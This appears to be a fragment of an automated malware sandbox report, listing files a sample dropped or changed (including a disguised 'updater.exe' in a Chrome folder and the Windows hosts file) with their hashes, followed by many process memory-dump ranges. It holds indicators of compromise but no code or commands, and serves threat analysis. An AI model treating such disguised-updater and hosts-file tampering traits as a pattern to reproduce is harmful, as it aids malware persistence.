SHA512be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5ab5997c41615a32bd2d43a480cf054c7
SHA1ff43220e95b214e6a27704bc33f6343795ad875b
SHA256bababb62d747fcf2b8a506afa561b5051e7c47400103d45d001c2ef5745d83b7
SHA51208fdfeadbb597d1f5a5d4f0794f7a38cded6d331c25730a87d34477168f2f6f24d681e2c1761e26d647d894b540d495a72ff80e8886b11b7635c696cdd617752
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5ab5997c41615a32bd2d43a480cf054c7
SHA1ff43220e95b214e6a27704bc33f6343795ad875b
SHA256bababb62d747fcf2b8a506afa561b5051e7c47400103d45d001c2ef5745d83b7
SHA51208fdfeadbb597d1f5a5d4f0794f7a38cded6d331c25730a87d34477168f2f6f24d681e2c1761e26d647d894b540d495a72ff80e8886b11b7635c696cdd617752
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\851O2N6OW1HI04J1PK03.tempFilesize
7KB
MD5ab5997c41615a32bd2d43a480cf054c7
SHA1ff43220e95b214e6a27704bc33f6343795ad875b
SHA256bababb62d747fcf2b8a506afa561b5051e7c47400103d45d001c2ef5745d83b7
SHA51208fdfeadbb597d1f5a5d4f0794f7a38cded6d331c25730a87d34477168f2f6f24d681e2c1761e26d647d894b540d495a72ff80e8886b11b7635c696cdd617752
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C:\Windows\System32\drivers\etc\hostsFilesize
2KB
MD53e9af076957c5b2f9c9ce5ec994bea05
SHA1a8c7326f6bceffaeed1c2bb8d7165e56497965fe
SHA256e332ebfed27e0bb08b84dfda05acc7f0fa1b6281678e0120c5b7c893a75df47e
SHA512933ba0d69e7b78537348c0dc1bf83fb069f98bb93d31c638dc79c4a48d12d879c474bd61e3cbde44622baef5e20fb92ebf16c66128672e4a6d4ee20afbf9d01f
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\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
SHA15383b8e6d09d41384281b95f9ccc8e050e7c04fa
SHA2569940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
SHA512be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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memory/752-107-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-138-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-170-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-168-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-166-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-164-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-162-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-160-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-158-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-156-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-154-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-152-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-150-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-148-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-146-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-144-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-142-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-140-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-136-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-134-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-132-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-130-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-128-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-126-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-124-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-106-0x00000000003B0000-0x00000000003D0000-memory.dmpFilesize
128KB
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memory/752-122-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-109-0x0000000000480000-0x00000000004A0000-memory.dmpFilesize
128KB
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memory/752-108-0x0000000000460000-0x0000000000480000-memory.dmpFilesize
128KB
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memory/752-120-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-111-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-112-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-115-0x0000000000480000-0x00000000004A0000-memory.dmpFilesize
128KB
-
memory/752-114-0x0000000000460000-0x0000000000480000-memory.dmpFilesize
128KB
-
memory/752-116-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/752-118-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
-
memory/1096-54-0x000000013F5F0000-0x000000013F806000-memory.dmpFilesize
2.1MB
-
memory/1096-76-0x000000013F5F0000-0x000000013F806000-memory.dmpFilesize
2.1MB
-
memory/1156-69-0x000000001B020000-0x000000001B302000-memory.dmpFilesize
2.9MB
-
memory/1156-72-0x0000000002250000-0x00000000022D0000-memory.dmpFilesize
512KB
-
memory/1156-73-0x0000000002250000-0x00000000022D0000-memory.dmpFilesize
512KB
-
memory/1156-74-0x000000000225B000-0x0000000002292000-memory.dmpFilesize
220KB
-
memory/1156-70-0x0000000002350000-0x0000000002358000-memory.dmpFilesize
32KB
-
memory/1156-71-0x0000000002250000-0x00000000022D0000-memory.dmpFilesize
512KB
-
memory/1576-88-0x0000000001160000-0x00000000011E0000-memory.dmpFilesize
512KB
-
memory/1576-89-0x0000000001160000-0x00000000011E0000-memory.dmpFilesize
512KB
-
memory/1576-90-0x0000000001160000-0x00000000011E0000-memory.dmpFilesize
512KB
-
memory/1576-91-0x000000000116B000-0x00000000011A2000-memory.dmpFilesize
220KB
-
memory/1608-82-0x00000000023A4000-0x00000000023A7000-memory.dmpFilesize
12KB
-
memory/1608-83-0x00000000023AB000-0x00000000023E2000-memory.dmpFilesize
220KB
-
memory/1660-94-0x0000000001210000-0x0000000001290000-memory.dmpFilesize
512KB
-
memory/1660-95-0x0000000001210000-0x0000000001290000-memory.dmpFilesize
512KB
-
memory/1660-96-0x0000000001210000-0x0000000001290000-memory.dmpFilesize
512KB
-
memory/1660-97-0x000000000121B000-0x0000000001252000-memory.dmpFilesize
220KB
-
memory/1692-61-0x0000000002374000-0x0000000002377000-memory.dmpFilesize
12KB
-
memory/1692-62-0x000000000237B000-0x00000000023B2000-memory.dmpFilesize
220KB
-
memory/1692-60-0x0000000002250000-0x0000000002258000-memory.dmpFilesize
32KB
-
memory/1692-59-0x000000001B010000-0x000000001B2F2000-memory.dmpFilesize
2.9MB
-
memory/1952-87-0x000000013F4A0000-0x000000013F6B6000-memory.dmpFilesize
2.1MB
-
memory/1952-103-0x000000013F4A0000-0x000000013F6B6000-memory.dmpFilesize
2.1MB
-
memory/1952-105-0x000000013F4A0000-0x000000013F6B6000-memory.dmpFilesize
2.1MB
-
memory/2036-117-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
-
memory/2036-110-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB